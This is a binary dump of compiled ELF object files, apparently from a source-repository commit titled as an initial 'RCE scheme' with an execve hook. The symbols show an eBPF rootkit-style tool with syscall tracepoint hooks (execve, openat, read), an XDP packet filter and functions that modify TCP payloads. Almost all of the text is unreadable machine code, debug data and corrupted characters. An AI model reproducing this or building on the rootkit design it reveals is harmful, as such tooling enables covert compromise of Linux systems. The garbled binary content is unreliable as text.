<00><00>@<00>R<00><00><00> +0<00>@q<00><00><00>a<00><00><00>4 	&Z/&<00>U&<00>{C<00>]'<00>8MIT<00>_j<00>x<00><00>!<00>p<00><00><00><00><00>*<00>p<00><00><00>1<00>7<00>*<00><00>-<00>-<00>I<00><00><00>&<00>&%'&MM<00>l&<00><00>&<00><00>5D<00>&<00>)<s<<00>[*d<00>$;d=6<00>s[u<00><00>GY	
.
 6
e<00><00>p<00>h<00><00>Y<00>k`m0m mkXk<00>k k@kpk<00>m(mHkkXk<00>k<00>k<00>kk khk<00>khk<00>k0khk<00>k<00>k<00>k<00>k<00>k8k<00>khk<00>kkHk<00>k<00>kkhk<00>k<00>kk8k<00>k8	k<00>	k<00>
k(k<00>kk k@k(
o4
mL
kX
kd
kp
k|
k<00>
k<00>
k<00>
k<00>
k<00>
k<00>
k<00>
k<00>
k<00>
k<00>
k
k
k
k$
k0
k<
kH
kT
k`
kl
kx
k<00>
k<00>
k<00>
k<00>
k<00>
k<00>
k<00>
k<00>
k<00>
k<00>
k<00>
k
k
k 
k,
k8
kD
kP
k\
kh
kt
k<00>
k<00>
k<00>l,e<fLg\hli|j<00>e<00>e<00>f<00>f<00>f<00>f<00>fff(f8fHfXfhfxf<00>f<00>f<00>g<00>g<00>g<00>g<00>ggg g0g@gPg`gpg<00>g<00>g<00>g<00>g<00>g<00>g<00>g<00>ggg g0g@gPg`gpg<00>g<00>g<00>g<00>g<00>g<00>g<00>g<00>ggg g0g@gPg`gpg<00>g<00>g<00>g<00>g<00>g<00>g<00>g<00>ggg g0g@gPg`gpg<00>g<00>g<00>g<00>g<00>g<00>g<00>g<00>ggg g0g@gPg`gpg<00>g<00>g<00>g<00>g<00>g<00>g<00>g<00>ggg g0g@gPg`gpg<00>g<00>g<00>h<00>h<00>h<00>h<00>h<00>hhh(h8hHhXhhhxh<00>h<00>h<00>h<00>h<00>h<00>h<00>h<00>h	h	h(	h8	hH	hX	hh	hx	h<00>	h<00>	h<00>	h<00>	h<00>	h<00>	h<00>	h<00>	h
h
h(
h8
hH
hX
hh
hx
h<00>
h<00>
h<00>
h<00>
h<00>
h<00>
h<00>
h<00>
hhh(h8hHh`ipi<00>i<00>i<00>i<00>i<00>i<00>i<00>i<00>iii i0i@iPi`ipi<00>i<00>i<00>i<00>i<00>i<00>i<00>i<00>i
i
i 
i0
i@
iP
i`
ip
i<00>
i<00>
j<00>
j<00>
j<00>
j<00>
j<00>
j<00>
jjj(j8jHjXjhjxj<00>j<00>j<00>j<00>j<00>j<00>j<00>j<00>jjj(j8jHjXjhjxj<00>j<00>j<00>j<00>j<00>j<00>j<00>j<00>jjj(j8jHjXjhjxj<00>j<00>j<00>j<00>j<00>j<00>j<00>j<00>jjj(j8jHjXjhjxj<00>j<00>j<00>j<00>j<00>j<00>j<00>j<00>jjj(j8jHjXjhjxj<00>j<00>j<00>j<00>j<00>j<00>j<00>j<00>jjj(j8jHjXjhjxj<00>j<00>j<00>j<00>j<00>j<00>j<00>j<00>jjj(j8jHjXjhjxj<00>j<00>j<00>j<00>j<00>j<00>j<00>j<00>jjj(j8jHjXjhjxj<00>j<00>j<00>j<00>j<00>j<00>j<00>j<00>jjj4jDjTjdjtj<00>j<00>j<00>j<00>j<00>j<00>j<00>j<00>jjj$j4jDjTjdjtj<00>j<00>j<00>juyzxw{PsQR\_`abcdeSTUVWXYZ[]^vtGHIJKLF;<=>?@ABCDE56789:MNO.text.rel.BTF.exthandle_tp_sys_enter_openat.____fmtipv4_csum.____fmtxdp_receive.____fmthandle_tp_sys_enter_execve.____fmtmodify_payload.____fmtexpand_tcp_packet_payload.____fmthandle_tp_sys_exit_read.____fmttp_sys_enter_read.____fmttp_sys_enter_openat.reltp/syscalls/sys_enter_openat.mapsfs_openrb_comm.relxdp_prog.llvm_addrsigxdp_receivetp_sys_enter_execve.reltp/syscalls/sys_enter_execvelicensetp_sys_exit_read.reltp/syscalls/sys_exit_readtp_sys_enter_read.reltp/syscalls/sys_enter_readhandle_sched_process_exectp/sched/sched_process_exec.strtab.symtab.rodata.rel.BTFLICENSELBB5_9LBB5_39handle_tp_sys_enter_execve.____fmt.39handle_tp_sys_enter_execve.____fmt.29xdp_receive.____fmt.19xdp_receive.____fmt.9LBB5_8LBB4_8LBB2_8LBB5_48LBB5_38handle_tp_sys_enter_execv
p}<00>
<00>B<00><00>H#0<00>@(
(P(0<00>2<00>(5T<00>(<00>:<00>c<00>@h{<00>
l<00>	`<60>0<00>	<00><>p	<00>0y	0<><00>>	<00><><00>P	<00><>@	<00>P
KL<>o<00>P<>:8<00><><00>
Usage: %s ./kit OPTION

Program OPTIONs-t[NETWORK INTERFACE]Activate XDP filter	%-40s %-50s

-vVerbose mode-hPrint this helpFailed to increase RLIMIT_MEMLOCK limit!
%H:%M:%S%s INFO  pid:%d code:%i, msg:%s
UNRECOGNIZED RB EVENT RECEIVEDActivating filter on network interface: %s
Error on input interfaceUnknown option: %c
Missing arguments for %c
:t:vhFailed to open and load BPF skeleton
Failed to load and verify BPF skeleton
Failed to create ring buffer
Filter set and ready<00>
<04>9}}}<00><00>int<05><19><05><1B><05>9<05><1A><08>	<09>
<00>1y3<07>6	<09>7	<09>8	<09>9	<09> :	<09>(;	<09>0<	<09>8=	<09>@@	<09>HA	<09>PB	<09>XD<16>`F<14>hH<07>pI<07>tJ<0B>xM<12><00>N<0F><00>O<08><00>Q<0F><00>Y
<0A><00>[<17><00>\<19><00>]<14><00>^	<09><00>_
-<00>`<07><00>b<08><00><19>+
<08><08><0E><00>9<08>
<08>
<08><0E><00>9y<10><08><0E><08>	$<0E>	;<0C>
#
<0A>
0
+w
/<0F>key
3<07>arg
7<0F>
:<07>doc
@<0F> 
I<07>(	
q<13><08><00><14><14><14><08><10>`
<08>
g
<07>

m
<07>
}
$} 
)<07>$
,	<09>(
/
s0
2	<09>8
6	<09>@
9	<09>H
:	<09>P
<	<09>X
8
<EFBFBD><08>
<EFBFBD><1D>
<EFBFBD>|
<EFBFBD><0F>doc
<EFBFBD><0F>
<EFBFBD>B 
<EFBFBD>a(
<EFBFBD><0F>0	<09>w
 
<EFBFBD>=
<EFBFBD>g
<EFBFBD><07>
<0F>
<07>	<09>=<13>a<14><14><14>H<08><08><08><12>tm8!	<07>
<07><07><07>
<07><07><07><07><07> <0C>(<0F>0<0E>?9}
<06>	


<0A><12>

<0A><08>
<0A><0C>
<0A><0C>}<0E>9}2@@
8E<08>szG	-N<0E>P<07>W<07>\<0E>_<08> c<0E>(j<0E>0	F<1A>
<08><08>
<08>
<0F>&<0F><0E>map<0F>&<0F>	s<08><0F>e<0F><0E><0F>e<0F>p<08>
vkH$	sz	-<0E>$		-obj+	 	<06>(
<06>,1	0
<06>8<06><7	@*	<08><08>,<0E>M	9

~	<13><13><13>0<02>	<17><17><17><17><17> <17>(0.
vvvvv  v(0"	<09>#<08>$<08>%<08>&<08>'
(
$)<08>;*/
=+<08>s,?
u-O
<00>._
<00>/_
0_
'1?
M2_
l3_
<00>4o
<00>5_
<00>6
7?
<8<08>
[9<08>
<00>:<08>
<00>;<08>
<00><<00>=<08>
<00>><08>
<00>?@<08>
'A<08>
8B<08>
IC<08>
TD<08>
_E=	jF<08>
xG=	<00>H<08>
<00>I<08>
<00>J<08>
<00>K<00>L_
	M_
/N_
UO{P<08>
<00>Q<08>
<00>R/<00>S/<0E><00>9<0E><00>9<0E>
9<0E>
9<0E>/
9<0E>?
95<0E>O
9<0E>_
9F<0E>o
9%<0E>
94<0E><00>
9(<0E><00>
9)<0E><00>
9<0E><00>
9<0E><00>
9<0E><00>
9<0E><00>
9<0E><00>
9
<0E>9 <0E>93<0E>/9<0E>?9,
<00>
<08><1E>obj<15>M	~	(!<04>	XT<05><00>|.
 }<0E>
<03>pid<06>
$	<09><12>	<09><0E>5!9<00>
]all<0E><0E>
<0C>all<0E><0E>
<0C>all<0E><0E><0E><0E>
!<0C>all"<0E>#<0E>

15]<06>$<06>&<03>
,e-<0F>.<0F>
1<0C>2<0F>
5<0C>6<0F>
9<0C>:<0F>
(*+/=3e7<06>;<06> ?=<03>@1AenvJ<07>"env/	#H<16>	$t<05><00><01>%t<0E><02>L%tm<02>@"rbu<02>`#v<02>h"errw<0B><02>T#<02><08><02>X"opt<02><06><02>\&<02>
'W<0C>
<01><>(ctxW"<22><03><>%W-<2D><03><>%W:-<03><>"eX<19><03><>"tm[
<0A><03><>"ts\/<02>@"t]	y<03><><08>)J
<01><>(sigJ<1D><02>l*<
<00><01>#=<10><02>P'2<0C>N<01>`%24<02>l%2G<32><02>`%2W@<02>X+!<00><01><>(arg!$<24><02>X#%<0B><02>`#&<0B><02>h'<01><01>s<01><>(obj<01>*<02>X"s<01><1E><02>h,err<01>'~<01><01>.(obj~<02>h-x<01>'et<01><>%e7<65><02>X"objg<02>h.errr<08>/XC<01>(objX"<02>h%:;9I$>:;
:;I8$>I	&I
:;9
:;9I8:;9
<I!I/7I4:;9I?<
:;9I8'II:;9
:;9I8:;9>I:;9(5I
:;9I8&:;9:;9
:;9I8 >I:;9!!I/"4:;9I#4:;9I$.?:;9'I@<18>B%:;9I&
:;9'.:;9'I@<18>B(:;9I).:;9'@<18>B*.:;9'@<18>B+.?:;9'@<18>B,
:;9-.:;9'I@<18>B.
:;9/.:;9'@<18>B,
(<00><01>
.outputuser/usr/lib/gcc/x86_64-linux-gnu/10/include/usr/include/x86_64-linux-gnu/bits/usr/include/x86_64-linux-gnu/bits/types/usr/include/usr/include/asm-generic.output/bpfuser/../commonuser/include/moduleskit.skel.hkit.c<built-in>stddef.htypes.hstruct_FILE.hFILE.hstdio.hgetopt_core.hargp.htime_t.hstruct_tm.hresource.hint-ll64.hlibbpf.hmap_common.h	module_manager.h
	<03><05>	vtY<02><03>$5<1A>/
uu<05>LX	Mb>$	<09>Y2	K<01>2	<09><01>.$<24>/
u<10><08>
<EFBFBD><0B>	<09>
<0A><11>;<3B>'t/<'t
<EFBFBD><08><05><03><12><03><13><11>L	<09>J<03>	<09>J<11>L	<09>J<03>	<09>J<11>K	<09>J<14>M<12>><3E>)t1<)t<0B><08><05><03><13><03><15><13>K<15><13>L
<EFBFBD>J<03>
<EFBFBD>J<13>K
<EFBFBD>J<13>L
<EFBFBD>J<03>
<EFBFBD>J<13>K
<EFBFBD>J<13>L
<EFBFBD>J<03>
<EFBFBD>J<13>K
<EFBFBD>J<13>L
<EFBFBD>J<03>
<EFBFBD>J<13>K
<EFBFBD>J<13>L
<EFBFBD>J<03>
<EFBFBD>J<13>K
<EFBFBD>J<13>
L
<EFBFBD>	<03><0E><03>qt<<03> 	<09>Y(<03>p.<05>u<0B><><05><08>
<EFBFBD><05>
<08><><05><08>\?g#ft<
K	u<08>&4<><10><06>K<08><01>!j
<EFBFBD>uD<t<19><02><07><02>	<08><07>EK<03>-
<EFBFBD>Z
<EFBFBD>Z
<EFBFBD>[
	wY<06>w/<10>	YI
!<08><05><><10>u
1<><31><08>
<0A><08><><EFBFBD>b<><08>#<23><>[	<05>u
<08><08><06>=g<08>^&u(<28>!<21>vv<08><06>.><07>$uu<08>2<08>	/?gu	z.<08>J!<04>fvYxdp_receive_____fmt_19handle_tp_sys_exit_read_____fmt_22handle_tp_sys_exit_read_____fmt_23handle_tp_sys_exit_read_____fmt_24handle_tp_sys_exit_read_____fmt_25handle_tp_sys_exit_read_____fmt_26ipv4_csum_____fmthandle_tp_sys_enter_execve_____fmt_30tp_sys_enter_read_____fmthandle_tp_sys_enter_execve_____fmt_32handle_tp_sys_enter_execve_____fmt_33handle_tp_sys_enter_execve_____fmt_35handle_tp_sys_enter_execve_____fmt_36handle_tp_sys_enter_execve_____fmt_37handle_tp_sys_enter_execve_____fmt_38_shortbufhandle_sched_process_exec_IO_lock_tgp_offsetstderrformattm_yday_IO_buf_endargp_statemessageoptoptchild_inputsrlim_tflagsxdp_receive_____fmt_20xdp_receive_____fmt_21groupbpf_program_IO_write_endunsigned intnext_freeres_listuser/kit.c_flags__RLIMIT_OFILEexec_module_attrexpand_tcp_packet_payload_____fmt_40expand_tcp_packet_payload_____fmt_41expand_tcp_packet_payload_____fmt_43expand_tcp_packet_payload_____fmt_44root_argpexpand_tcp_packet_payload_____fmt_42fs_openlinklevel__rlimit_resourcetm_mdayshort intbtf_custom_pathrlim_maxEXITGNU C17 10.3.0 -mtune=generic -march=x86-64 -g -fasynchronous-unwind-tables -fstack-protector-strong -fstack-clash-protection -fcf-protectiontm_year__RLIMIT_LOCKSprint_help_dialogmodule_config_t__RLIM_NLIMITStm_monhandle_tp_sys_enter_execve_____fmt_31_IO_save_endmmapedhandle_tp_sys_enter_execve_____fmt_39handle_tp_sys_exit_read_____fmtrelaxed_core_relocsoverflow_arg_arealong long unsigned intcleanupattach_prog_fdexpand_tcp_packet_payload_____fmtkit_bpf__open_opts__RLIMIT_NPROCbpf_objectfs_module_attrkconfigrb_eventexec_moduleLIBBPF_WARN_offsetmodify_payload_____fmttp_sys_enter_openatINFO_filenolibbpf_print_leveldata_sizeargp_optionsize_targs_doc_vtable_offset_markers_IO_read_base_Boolxdp_receive__RLIMIT_NICEargcxdp_module_attrkit_bpf__loadkit_bpfcodeprog_cntmodule_configmap_cntifindextm_hourbump_memlock_rlimitmapscharobject_name__rlim_t_mode__RLIMIT_NLIMITS_IO_markertp_sys_enter_execve_IO_read_ptrbpf_linkdataerr_streamxdp_receive_____fmt_1xdp_receive_____fmt_2xdp_receive_____fmt_3xdp_receive_____fmt_4xdp_receive_____fmt_5xdp_receive_____fmt_6__u32xdp_receive_____fmt_8xdp_receive_____fmt_9time_targp_domainprog_skel_szlibbpf_print_fnrlim_cur_IO_write_baselong long intbpf_prog_skeletonsig_handlerhelp_filter_IO_save_basesched_module_attrheaderevent_type__RLIMIT_RSSring_buffer__RLIMIT_MSGQUEUE_freeres_buf_IO_backup_baseLIBBPF_INFORLIMIT_AS__pad5long unsigned intprogshandle_tp_sys_enter_execve_____fmtRLIMIT_FSIZEkit_bpf__destroyargpoptargargsargvlong doubleparsertp_sys_enter_readxdp_modulefs_moduleargp_childlinksrb_commRLIMIT_DATArlimit_IO_read_endrodataRLIMIT_CPUmodule_config_attr_tlong intoptionserror_t_IO_wide_data__RLIMIT_SIGPENDING__va_list_tagoptsexitingpstateskeletonfp_offsettp_sys_exit_readnamekit_bpf__openERRORargp_parser_tbpf_map_skeleton_IO_buf_base_wide_dataRLIMIT_NOFILE__empty_lockprog_IO_codecvt_old_offset_IO_FILEreg_save_arearelaxed_mapsrlim_newLIBBPF_DEBUGdata_szinputevent_type_ttm_mintm_zonehandle_rb_eventpin_root_pathunsigned char__RLIMIT_RTTIMElinequoted_IO_write_ptr__RLIMIT_RTPRIOsched_modulehandle_tp_sys_enter_openat_____fmtmodify_payload_____fmt_46bpf_object_open_optsbpf_object_skeletonmodule_config_attr__time_t_codecvt__RLIMIT_MEMLOCKtm_wdayarg_numDEBUGout_stream__off_tkit_bpf__create_skeletonverbosemap_skel_szsigned charxdp_receive_____fmt_7short unsigned inttm_secmainbpf_maptm_isdstxdp_receive_____fmtchildren/home/osboxes/TFG/srctm_gmtoffhandle_tp_sys_enter_execve_____fmt_29_chainRLIMIT_STACKkit_bpf__rodataFILEdesc_flags2RLIMIT_CORE_cur_columnskelhook__off64_t_unused2xdp_receive_____fmt_10xdp_receive_____fmt_11xdp_receive_____fmt_12xdp_receive_____fmt_13xdp_receive_____fmt_14xdp_receive_____fmt_15xdp_receive___
		<00><>	 <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>	.<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!	/.	/4	.<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;	.<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>G	/<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Q	0<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>d	1<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>|	2<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>	<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>		<00><><00>	 <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>		ҵ<00>	<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>	3<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>	<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>	4<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>

C
<00>
@)
.
<00><
<00>	A
9M
+Y
de
<00>q
<00>
<00><00>
<00><00>
<00>
<00>
<00>
<00>
<00>
<00>
<00>
<00>
<00>
<00><00>
<00><00>
X
<00>
<00><00>


<00>
'
4
	A
<00>N
<00>[
<00>h
Ku
^	<00>
<00>	<00>
F<00>
<00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00>
<00>
{
a
+
<00>8
<00>E
<00>	R
<00>	_
<00>l
<00>z
<00><00>
 <00>
<00><00>
<00><00>
<00>
5<00>
S

j

<00>)
P
<00>j
<00>}
<00><00>
W<00>
<00><00>
:<00>
_
<00>
<00><00>
<00>
<00>
<00>#
J1
q?
<00>M
[
i
<00>
w
T<00>
N
<00>
<00>
p
<00>
<00><00>
7<00>
R	<00>
<00><00>
<00>

N

<00>!
~	/
<00>z
<00><00>
<00>
]<00>
<00><00>
<00>
<00>
<00><00>
{
<00>
C<00>

V
d$
&	+
<00>@
R
<00>
X
0
^
<00>
d
<00>j
<00>p
<00>	v
<00>|
<00>
<00>	<00>
)<00>
j
<00>
<00><00>
%<00>
<00>	<00>
,<00>
<00><00>
<00><00>
<00><00>

<00>
~<00>
<00>
<00>
	<00>
5<00>
<00>
d

<00>.
o4
<00>	:
5G

`
<00>m
z
<00><00>
|<00>
<00><00>
R<00>
%<00>
<00>
8<00>
<00><00>
<00>
<00><00>

S-
4	;
I
<00>W
<00>l
}
1
<00>
<00>
<00>
B<00>
<00><00>
<00>
<00>
<00><00>
j	
<00>	

W	
<00>
d	
<00>q	
<00>
<00>	
<00>	
w
<00>	
n<00>	
<00><00>	
<00><00>	
 <00>	
<00>	
w
<00>	
n

<00>

<00>!

 /

<00>=

<00>J

#W

(d

>q

T~

j<00>

<00><00>

<00><00>

<00>
<00>

<00><00>

<00><00>

<00><00>

<00>

<00>

6
M
d
{-
<00>;
I
<00>W
<00>e
<00>s
<00>
:<00>
]<00>
<00><00>
<00><00>
<00><00>

<00>
`<00>
<00><00>
 <00>

>
d)
<00>7
<00>E
<00>S
Za
<00>o
+}
P<00>
<00><00>
u<00>
<00><00>
<00><00>
<00><00>

@
]M
[g
<00>t

<00>
<00>
<00>
<00>
<00>
<00><00>
<00>
<00>
><00>
<00><00>
P<00>
Z<00>
b
e
<00>	6
<00>
P
 ^
<00>x
<00>
<00>
<00>
w
<00>
n<00>
<00><00>
c<00>
<00><00>
<00><00>
<00>


<00>
<00>
$
c2
<00>>
?K
<00>X
<00>f
l	s
<00><00>
C<00>
<00><00>
<00>
<00><00>
<00>
<00>
<00><00>
<00>
<00>
<00><00>
<00>
<00>
c
<00>

s$
E
=
<00>
Xa
Lnw

<00><00>
:<00>
_
<00>
<00><00>
<00>
<00><00>	
<00>	
l(O
_
<00><00>
F	<00><00><00>
<00><00>r
,
<00>$3
<00>B
<Q
Z
a
<00>hW<00>
<00><00>
<00><00>
<00>
<00><00><00>D<00>
O<00>/
<00>:<00>M
XCo
G<00><00><00>
=
<00>
<00> @C`<00><00><00><00><00><00>W<00>$r <00>@`.symtab.strtab.shstrtab.rela.text.data.bss.rodata.rela.debug_info.debug_abbrev.rela.debug_aranges.rela.debug_line.debug_str.comment.note.GNU-stack.note.gnu.property.rela.eh_frame @
@<00><><00>	&T
,T
1X
<00><>>C<><00>9@<00><><00>J<11><00>]<00><>0X@P0	q<1E>,l@<00>}0J<><00><00>0<00><>&<00><19><00> <20> <00>@<40>x<00>@<00><00><><00>	<00><>7<00><00>
-												Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done

											
										
										
											2022-02-06 14:15:57 -05:00
+								ELF>h @@<00><1E>UH<55><48>H<EFBFBD><48>H<>}<7D>H<EFBFBD>}<7D>t)H<>E<EFBFBD>H<EFBFBD>H<><48>tH<>E<EFBFBD>H<EFBFBD>H<><48><EFBFBD>H<>E<EFBFBD>H<EFBFBD><48><EFBFBD><00><01><><EFBFBD>UH<55><48>H<EFBFBD><48> H<>}辐<00><00>H<>E<EFBFBD>H<EFBFBD>}<7D>u<07><00>EH<45>E<EFBFBD>H<EFBFBD><48><EFBFBD>h<00><>u H<>E<EFBFBD>H<EFBFBD>H<>U<EFBFBD>H<EFBFBD><48>H<EFBFBD><48><EFBFBD><00><>u	H<>E<EFBFBD><45><15><><01>H<EFBFBD>E<EFBFBD>H<EFBFBD><48><EFBFBD>P<EFBFBD><50><EFBFBD><EFBFBD><00><>UH<55><48><EFBFBD><00>~<7E><><EFBFBD>]<5D>UH<55><48>H<EFBFBD><48>H<>}<7D>H<EFBFBD>E<EFBFBD>H<EFBFBD>H<><48><EFBFBD><00><>UH<55><48>H<EFBFBD><48> H<>}<7D><>H<00><00>H<>E<EFBFBD>H<EFBFBD>}<7D>u
 								<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>AH<>E<EFBFBD>H<EFBFBD>U<EFBFBD>H<EFBFBD>H<>E<EFBFBD>H<EFBFBD>HH<>E<EFBFBD>H<EFBFBD>H<>PH<>E<EFBFBD>H<EFBFBD>PH<>E<EFBFBD>H<EFBFBD>P H<>E<EFBFBD><45>@(H<>E<EFBFBD><45>@,H<>E<EFBFBD><45>@,Hc<48>H<EFBFBD>E<EFBFBD><45>@(H<>H<EFBFBD><48>H<EFBFBD><48><EFBFBD>H<><48>H<EFBFBD>E<EFBFBD>H<EFBFBD>P0H<30>E<EFBFBD>H<EFBFBD>@0H<30><48><0F><>H<>E<EFBFBD>H<EFBFBD>@0H<30>H<>H<>E<EFBFBD>H<EFBFBD>@0H<30>U<EFBFBD>H<EFBFBD><48>H<>PH<>E<EFBFBD>H<EFBFBD>@0H<30><48>H<>H<>H<>E<EFBFBD>H<EFBFBD>@0H<30><48>H<>U<EFBFBD>H<EFBFBD><48>H<>PH<>E<EFBFBD>H<EFBFBD>@0H<30><48>0H<30>H<>H<>E<EFBFBD>H<EFBFBD>@0H<30><48>0H<30>U<EFBFBD>H<EFBFBD><48> H<>PH<>E<EFBFBD>H<EFBFBD>@0H<30><48>0H<30>U<EFBFBD>H<EFBFBD>H<>PH<>E<EFBFBD><45>@8H<>E<EFBFBD><45>@<H<>E<EFBFBD><45>@<Hc<48>H<EFBFBD>E<EFBFBD><45>@8H<38>H<EFBFBD><48>H<EFBFBD><48><EFBFBD>H<><48>H<EFBFBD>E<EFBFBD>H<EFBFBD>P@H<>E<EFBFBD>H<EFBFBD>@@H<><48><0F><>H<>E<EFBFBD>H<EFBFBD>@@H<>H<>H<>E<EFBFBD>H<EFBFBD>@@H<>U<EFBFBD>H<EFBFBD><48>(H<>PH<>E<EFBFBD>H<EFBFBD>@@H<>U<EFBFBD>H<EFBFBD><48>XH<58>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>H<>H<>H<>E<EFBFBD>H<EFBFBD>@@H<><48>H<>U<EFBFBD>H<EFBFBD><48>0H<30>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>H<>U<EFBFBD>H<EFBFBD><48>`H<>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>0H<30>H<>H<>E<EFBFBD>H<EFBFBD>@@H<><48>0H<30>U<EFBFBD>H<EFBFBD><48>8H<38>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>0H<30>U<EFBFBD>H<EFBFBD><48>hH<68>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>HH<48>H<>H<>E<EFBFBD>H<EFBFBD>@@H<><48>HH<48>U<EFBFBD>H<EFBFBD><48>@H<>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>HH<48>U<EFBFBD>H<EFBFBD><48>pH<70>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>`H<>H<>H<>E<EFBFBD>H<EFBFBD>@@H<><48>`H<>U<EFBFBD>H<EFBFBD><48>HH<48>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>`H<>U<EFBFBD>H<EFBFBD><48>xH<78>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>xH<78>H<>H<>E<EFBFBD>H<EFBFBD>@@H<><48>xH<78>U<EFBFBD>H<EFBFBD><48>PH<50>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>xH<78>U<EFBFBD>H<EFBFBD><48><EFBFBD>H<EFBFBD>PH<>E<EFBFBD>H<EFBFBD>@H<>H<>E<EFBFBD>H<EFBFBD>H<>P<10><00><15><><01>H<EFBFBD>E<EFBFBD>H<EFBFBD><48><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><1E>UH<55><48>H<EFBFBD><48> H<>}<7D>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00>H<>=<00>H<>H<>E<EFBFBD>H<EFBFBD>H<>E<EFBFBD>H<EFBFBD>U<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00>H<>H<>E<EFBFBD>H<EFBFBD>H<>E<EFBFBD>H<EFBFBD>U<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00>H<>H<>E<EFBFBD>H<EFBFBD>H<>E<EFBFBD>H<EFBFBD>U<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00><00><><EFBFBD><EFBFBD><1E>UH<55><48>H<EFBFBD><48> <20>}<7D>H<EFBFBD>u<EFBFBD>H<EFBFBD>U<EFBFBD><55>}<7D>u<0F><00><><01><>t<07><00>H<>H<>U<EFBFBD>H<EFBFBD>M<EFBFBD>H<EFBFBD><48>H<EFBFBD><48><EFBFBD><00><><EFBFBD><1E>UH<55><48>H<EFBFBD><48> dH<64>%(H<>E<EFBFBD>1<EFBFBD>H<EFBFBD>E<EFBFBD><45><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>E<EFBFBD><45><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD>ƿ<00><00><>t*H<>H<><48><EFBFBD>)<00>H<>=<00><00><00><00>H<EFBFBD>E<EFBFBD>dH+%(t<05><00><><EFBFBD><1E>UH<55><48><EFBFBD>}<7D><><01>]<5D><><1E>UH<55><48>H<EFBFBD><48>pH<70>}<7D>H<EFBFBD>u<EFBFBD>H<EFBFBD>U<EFBFBD>dH<64>%(H<>E<EFBFBD>1<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48><EFBFBD>H<>E<EFBFBD>H<EFBFBD><48><EFBFBD>H<>E<EFBFBD>H<EFBFBD>U<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD><00> H<><48><EFBFBD>H<>E<EFBFBD><45><EFBFBD><00><>u5H<35>E<EFBFBD>H<EFBFBD>pH<>E<EFBFBD><45><EFBFBD>H<>E<EFBFBD><45>H<>E<EFBFBD>I<EFBFBD><49>H<EFBFBD><48>H<EFBFBD>=<00><00><00>EH<45>E<EFBFBD><45><EFBFBD><00><>t6H<36>E<EFBFBD><45><EFBFBD><00><>t'H<>E<EFBFBD><45><EFBFBD><00><>tH<>=<00><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><05>H<>M<EFBFBD>dH+%(t<05><00><><EFBFBD><1E>UH<55><48>H<EFBFBD><48>0<EFBFBD>}<7D>H<EFBFBD>u<EFBFBD>H<EFBFBD>E<EFBFBD><00><00>}<7D>v<0F><><00>}<7D>v<0F><><00>}<7D>tt/<2F>}<7D>t<0F><><00>}<7D>htu<74>}<7D>h<0F><><00>}<7D>:<0F><><00>}<7D>?tt<74><74>H<>H<><48><EFBFBD><00>E<EFBFBD>H<EFBFBD>H<><48>H<EFBFBD>=<00><00><00>}<7D><0F><>H<>=<00><00><00><00><01>xH<78>E<EFBFBD>H<EFBFBD>H<><48><EFBFBD><00><00><00><00><>H<EFBFBD>=<00><00><00><00><00><00><>H<EFBFBD>=<00><00><00><00>H<>E<EFBFBD>H<EFBFBD>H<><48><EFBFBD><00><00>H<>MЋE<D08B>H<EFBFBD>H<>Ή<EFBFBD><CE89><00>E<EFBFBD><45>}<7D><><0F><><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>=<3D><><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>5j<35><6A><EFBFBD><EFBFBD><00>H<>5Y<35><59><EFBFBD><EFBFBD><00><00><0E><><EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD>}<7D>u*H<>H<><48><EFBFBD>%<00>H<>=<00><00><00>4H<>E<EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>E<EFBFBD><45>}<7D>t%H<>H<><48><EFBFBD>'<00>H<>=<00><00